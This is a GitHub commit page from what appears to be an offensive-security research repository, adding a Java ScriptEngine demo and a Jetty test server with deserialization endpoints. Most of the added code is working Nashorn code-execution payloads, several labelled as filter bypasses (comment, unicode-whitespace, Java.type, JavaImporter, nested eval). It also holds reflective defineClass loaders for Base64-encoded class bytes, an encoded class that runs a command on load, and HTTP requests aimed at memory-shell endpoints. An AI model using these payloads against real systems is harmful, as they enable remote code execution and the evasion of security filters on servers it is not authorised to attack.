Skip to content

Commit 8957ef7

Browse files
WhoopsunixWhoopsunix
committed
add ScriptEngine Demo :)
1 parent 169a07b commit 8957ef7

File tree

28 files changed

+1120
-230
lines changed

28 files changed

+1120
-230
lines changed

‎Command/pom.xml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,11 @@
3535
<artifactId>guava</artifactId>
3636
<version>23.0</version>
3737
</dependency>
38+
<dependency>
39+
<groupId>org.ppp.tools</groupId>
40+
<artifactId>Utils</artifactId>
41+
<version>1.0-SNAPSHOT</version>
42+
</dependency>
3843
</dependencies>
3944

4045

‎Command/src/main/java/org/command/code/Exec.java

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
package org.command.code;
2+
3+
/**
4+
* @author Whoopsunix
5+
*/
6+
public class Exec {
7+
public Exec() {
8+
try {
9+
System.out.println("Exec");
10+
Runtime.getRuntime().exec("open -a Calculator.app");
11+
} catch (Exception e) {
12+
}
13+
}
14+
15+
static {
16+
try {
17+
System.out.println("static Exec");
18+
Runtime.getRuntime().exec("open -a Calculator.app");
19+
} catch (Exception e) {
20+
}
21+
}
22+
}

‎Command/src/main/java/org/command/code/ScriptEngineDemo.java

Lines changed: 160 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,61 +1,182 @@
11
package org.command.code;
22

3-
import org.command.resultGet.ExecResultGet;
3+
import org.ppp.tools.encryption.B64;
44

55
import javax.script.ScriptEngine;
66
import javax.script.ScriptEngineFactory;
77
import javax.script.ScriptEngineManager;
8-
import java.io.InputStream;
98
import java.util.List;
109

1110
/**
1211
* @author Whoopsunix
12+
* <p>
13+
* 参考: https://forum.butian.net/share/487
1314
*/
1415
public class ScriptEngineDemo {
15-
public static InputStream exec(String cmd) throws Exception {
16-
InputStream inputStream = null;
16+
public static void exec() throws Exception {
17+
ScriptEngineManager manager = new ScriptEngineManager();
18+
ScriptEngine engine = manager.getEngineByName("js");
19+
20+
// 基本 Runtime
21+
String runtime = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
22+
// engine.eval(runtime);
23+
24+
// ProcessBuilder
25+
String processBuilder = "var s = [3];" +
26+
"s[0] = \"bash\";" +
27+
"s[1] = \"-c\";" +
28+
"s[2] = \"open -a Calculator.app\";" +
29+
"var x=new java.lang.ProcessBuilder;" +
30+
"x.command(s);" +
31+
"x.start();";
32+
String processBuilder2 =
33+
"var x=new java.lang.ProcessBuilder;" +
34+
"x.command(\"bash\", \"-c\", \"open -a Calculator.app\");" +
35+
"x.start();";
36+
// engine.eval(processBuilder2);
37+
38+
// 获取执行结果
39+
String execResult = "var runtime = java.lang.Runtime.getRuntime(); " +
40+
"var process = runtime.exec(\"whoami\"); " +
41+
"var inputStream = process.getInputStream(); " +
42+
"var inputStreamReader = new java.io.InputStreamReader(inputStream); " +
43+
"var bufferedReader = new java.io.BufferedReader(inputStreamReader); " +
44+
"var line; " +
45+
"while ((line = bufferedReader.readLine()) != null) { " +
46+
" print(line); " +
47+
"}";
48+
// engine.eval(execResult);
49+
// 作为结果返回
50+
String execResult2 =
51+
"var runtime = java.lang.Runtime.getRuntime();" +
52+
"var process = runtime.exec(\"whoami\");" +
53+
"var inputStream = process.getInputStream();" +
54+
"var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" +
55+
"var result = scanner.hasNext() ? scanner.next() : \"\";" +
56+
"scanner.close();" +
57+
"result;";
58+
// System.out.println(engine.eval(execResult2));
59+
60+
// 注释符绕过
61+
String commentBypass = "java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator.app\")";
62+
// engine.eval(commentBypass);
63+
// 空格绕过
64+
String spaceBypass = "java.lang. Runtime.getRuntime().exec(\"open -a Calculator.app\")";
65+
// engine.eval(spaceBypass);
66+
67+
// 自定义方法
68+
String function = "var x=new Function('return'+'(new java.'+ 'lang./**/ProcessBuilder)')();" +
69+
"x.command(\"open\", \"-a\", \"Calculator.app\");" +
70+
"x.start();" +
71+
"var a = mainOutput();" +
72+
"function mainOutput() {};";
73+
// engine.eval(function);
74+
75+
// 调用 eval
76+
String eval = "var a = mainOutput();" +
77+
"function mainOutput() { " +
78+
"new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"" +
79+
"var a = test(); " +
80+
"function test() { " +
81+
"var x=java.lang.\"+\"Runtime.getRuntime().exec(\\\"open -a Calculator.app\\\");};\"); };";
82+
// engine.eval(eval);
83+
84+
// type()
85+
String type = "var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator.app\");";
86+
// engine.eval(type);
87+
88+
// Rhino
89+
String rhino1 = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"open -a Calculator.app\");";
90+
String rhino2 = "var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"open -a Calculator.app\");}";
91+
// engine.eval(rhino2);
92+
93+
// unicode
94+
// 见 jdk.nashorn.internal.parser.Lexer.JAVASCRIPT_WHITESPACE_IN_REGEXP
95+
String unicode = "java.lang.\u2029Runtime.getRuntime().exec(\"open -a Calculator.app\")";
96+
// engine.eval(unicode);
97+
98+
// 注释符
99+
String comment1 = "java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator.app\")";
100+
String comment2 = "java.lang.//\nRuntime.getRuntime().exec(\"open -a Calculator.app\")";
101+
engine.eval(comment2);
17102

103+
104+
}
105+
106+
public static void defineClass(String javaClassBase64, String className) throws Exception {
18107
ScriptEngineManager manager = new ScriptEngineManager();
19108
ScriptEngine engine = manager.getEngineByName("js");
20109

21-
// 也可以直接全部写到js里
22-
// runtime
23-
// engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime(); " +
24-
// "var process = runtime.exec(\"" + cmd + "\"); " +
25-
// "var inputStream = process.getInputStream(); " +
26-
// "var inputStreamReader = new java.io.InputStreamReader(inputStream); " +
27-
// "var bufferedReader = new java.io.BufferedReader(inputStreamReader); " +
28-
// "var line; " +
29-
// "while ((line = bufferedReader.readLine()) != null) { " +
30-
// " print(line); " +
31-
// "}");
32-
// 直接返回对象
33-
// Object obj = engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime();" +
34-
// "var process = runtime.exec(\"hostname\");" +
35-
// "var inputStream = process.getInputStream();" +
36-
// "var scanner = new java.util.Scanner(inputStream,\"GBK\").useDelimiter(\"\\\\A\");" +
37-
// "var result = scanner.hasNext() ? scanner.next() : \"\";" +
38-
// "scanner.close();" +
39-
// "result;");
40-
// System.out.println(obj.toString());
41-
42-
43-
engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime(); " +
44-
"var process = runtime.exec(\"" + cmd + "\"); " +
45-
"var inputStream = process.getInputStream(); ");
46-
// 获取对象
47-
inputStream = (InputStream) engine.eval("inputStream;");
48-
49-
50-
51-
return inputStream;
110+
// 字节码加载 java.util.Base64
111+
String code = "var data=\"" + javaClassBase64 + "\";" +
112+
"var bytes=java.util.Base64.getDecoder().decode(data);" +
113+
"var classLoader=new java.lang.ClassLoader() {};" +
114+
"var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);" +
115+
"defineClassMethod.setAccessible(true);" +
116+
"var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);" +
117+
"loadedClass.newInstance();";
118+
// engine.eval(code);
119+
120+
// new java.lang.ClassLoader() sun.misc.BASE64Decoder
121+
String code2 = "var data=\"" + javaClassBase64 + "\";\n" +
122+
"var aClass = java.lang.Class.forName(\"sun.misc.BASE64Decoder\");\n" +
123+
"var object = aClass.newInstance();\n" +
124+
"var bytes = aClass.getMethod(\"decodeBuffer\", java.lang.String.class).invoke(object, data);\n" +
125+
"var classLoader=new java.lang.ClassLoader() {};\n" +
126+
"var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
127+
"defineClassMethod.setAccessible(true);\n" +
128+
"var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);\n" +
129+
"loadedClass.newInstance();";
130+
// engine.eval(code2);
131+
132+
// java.lang.Thread.currentThread().getContextClassLoader()
133+
String code3 = "var data=\"" + javaClassBase64 + "\";" +
134+
"var bytes=java.util.Base64.getDecoder().decode(data);" +
135+
"var classLoader=java.lang.Thread.currentThread().getContextClassLoader();" +
136+
"var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);" +
137+
"defineClassMethod.setAccessible(true);" +
138+
"var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);" +
139+
"loadedClass.newInstance();";
140+
// engine.eval(code3);
141+
142+
// 已加载过的 java.lang.Thread.currentThread().getContextClassLoader()
143+
String code4 = "var data=\"" + javaClassBase64 + "\";var bytes=java.util.Base64.getDecoder().decode(data);" +
144+
"var classLoader=java.lang.Thread.currentThread().getContextClassLoader();" +
145+
"try{" +
146+
"var clazz = classLoader.loadClass(\"" + className + "\");" +
147+
"clazz.newInstance();" +
148+
"}catch(err){" +
149+
"var defineClassMethod = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);" +
150+
"defineClassMethod.setAccessible(true);" +
151+
"var loadedClass = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);" +
152+
"loadedClass.newInstance();" +
153+
"};";
154+
// engine.eval(code4);
155+
156+
// feihong 给出的先获取子 ClassLoader 方式
157+
String code5 = "var clazz = java.security.SecureClassLoader.class;\n" +
158+
" var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
159+
" method.setAccessible(true);\n" +
160+
" var classBytes = '" + javaClassBase64 + "';" +
161+
" var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
162+
" var constructor = clazz.getDeclaredConstructor();\n" +
163+
" constructor.setAccessible(true);\n" +
164+
" var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
165+
" clz.newInstance();";
166+
engine.eval(code5);
167+
168+
52169
}
53170

54171
public static void main(String[] args) throws Exception {
55-
// InputStream inputStream = exec("ifconfig -a");
56-
// ExecResultGet execResultGet = new ExecResultGet();
57-
// System.out.println(execResultGet.scanner(inputStream));
58172
printScriptEngineManagerFactories();
173+
exec();
174+
175+
// String javaClassBase64 = new B64().encodeJavaClass(Exec.class);
176+
// System.out.println(javaClassBase64);
177+
// String javaClassBase64 = "yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAF0xvcmcvY29tbWFuZC9jb2RlL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAJQcAIwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwADAANBwAnDAAoACkBAARFeGVjBwAqDAArACwHAC0MAC4ALwEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMADAAMQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAtzdGF0aWMgRXhlYwEAFW9yZy9jb21tYW5kL2NvZGUvRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACgALAAAAAAACAAEADAANAAEADgAAAHYAAgACAAAAGiq3AAGyAAISA7YABLgABRIGtgAHV6cABEyxAAEABAAVABgACAADAA8AAAAaAAYAAAAHAAQACQAMAAoAFQAMABgACwAZAA0AEAAAAAwAAQAAABoAEQASAAAAEwAAABAAAv8AGAABBwAUAAEHABUAAAgAFgANAAEADgAAAFsAAgABAAAAFrIAAhIJtgAEuAAFEga2AAdXpwAES7EAAQAAABEAFAAIAAMADwAAABYABQAAABEACAASABEAFAAUABMAFQAVABAAAAACAAAAEwAAAAcAAlQHABUAAAEAFwAAAAIAGA==";
178+
// defineClass(javaClassBase64, "org.command.code.Exec");
179+
59180
}
60181

61182
/**
@@ -64,7 +185,7 @@ public static void main(String[] args) throws Exception {
64185
public static void printScriptEngineManagerFactories() {
65186
ScriptEngineManager manager = new ScriptEngineManager();
66187
List<ScriptEngineFactory> factories = manager.getEngineFactories();
67-
for (ScriptEngineFactory factory: factories){
188+
for (ScriptEngineFactory factory : factories) {
68189
System.out.printf(
69190
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
70191
"Language version: %s%n" +

‎MemShell.http

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,9 @@ X-Token: hostname
66
Content-Type: application/x-www-form-urlencoded
77

88

9+
cmd=whoami
10+
11+
912
###
1013
# Exec Listener
1114
POST /base64 HTTP/1.1
@@ -14,6 +17,9 @@ X-Token: hostname
1417
Content-Type: application/x-www-form-urlencoded
1518

1619

20+
cmd=whoami
21+
22+
1723
###
1824
# Memshell
1925
POST /binary HTTP/1.1
@@ -29,4 +35,11 @@ Content-Type: application/octet-stream
2935
------WebKitFormBoundary7MA4YWxkTrZu0gW--
3036

3137

32-
###
38+
###
39+
POST /base64 HTTP/1.1
40+
Host: 127.0.0.1:8080
41+
#X-Token: hostname
42+
Content-Type: application/x-www-form-urlencoded
43+
44+
45+
cmd=whoami&base64Str=

‎MemShellAndRceEcho/JakartaJettyDemo/pom.xml

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<groupId>org.example</groupId>
5+
<artifactId>JakartaJettyDemo</artifactId>
6+
<packaging>war</packaging>
7+
<version>1.0-SNAPSHOT</version>
8+
<name>JettyDemo</name>
9+
<dependencies>
10+
<!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-webapp -->
11+
<dependency>
12+
<groupId>org.eclipse.jetty</groupId>
13+
<artifactId>jetty-webapp</artifactId>
14+
<version>11.0.0</version>
15+
<!-- <version>10.0.0</version>-->
16+
<!-- <version>9.0.0.M0</version>-->
17+
<!-- <version>8.0.0.M0</version>-->
18+
<!-- <version>7.1.0.RC0</version>-->
19+
<!-- <version>7.0.0.M0</version>-->
20+
</dependency>
21+
22+
<dependency>
23+
<groupId>org.ppp.tools</groupId>
24+
<artifactId>Utils</artifactId>
25+
<version>1.0-SNAPSHOT</version>
26+
</dependency>
27+
28+
</dependencies>
29+
<build>
30+
<finalName>JettyDemo</finalName>
31+
<plugins>
32+
<plugin>
33+
<groupId>org.apache.maven.plugins</groupId>
34+
<artifactId>maven-compiler-plugin</artifactId>
35+
<version>3.8.1</version>
36+
<configuration>
37+
<source>11</source>
38+
<target>11</target>
39+
</configuration>
40+
</plugin>
41+
</plugins>
42+
</build>
43+
</project>

‎MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/RunJetty.java

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
package org.example.jetty;
2+
3+
import jakarta.servlet.MultipartConfigElement;
4+
import org.eclipse.jetty.server.Server;
5+
import org.eclipse.jetty.servlet.ServletContextHandler;
6+
import org.eclipse.jetty.servlet.ServletHolder;
7+
import org.example.jetty.servlet.Base64DeSerializerServlet;
8+
import org.example.jetty.servlet.BinaryDeSerializerServlet;
9+
10+
/**
11+
* @author Whoopsunix
12+
*/
13+
public class RunJetty {
14+
public static void main(String[] args) throws Exception {
15+
// 创建 Jetty 服务器
16+
Server server = new Server(8080);
17+
18+
// 创建 Servlet 上下文处理器
19+
ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
20+
context.setContextPath("/");
21+
22+
// 添加 Servlet 到上下文
23+
context.addServlet(new ServletHolder(new Base64DeSerializerServlet()), "/base64");
24+
25+
ServletHolder binaryServletHolder = new ServletHolder(new BinaryDeSerializerServlet());
26+
binaryServletHolder.getRegistration().setMultipartConfig(createMultipartConfig());
27+
context.addServlet(binaryServletHolder, "/binary");
28+
29+
// 将上下文添加到服务器
30+
server.setHandler(context);
31+
32+
// 启动服务器
33+
server.start();
34+
server.join();
35+
}
36+
37+
private static MultipartConfigElement createMultipartConfig() {
38+
return new MultipartConfigElement("/tmp", 1024 * 1024, 1024 * 1024 * 5, 1024 * 1024);
39+
}
40+
41+
}

0 commit comments

Comments
 (0)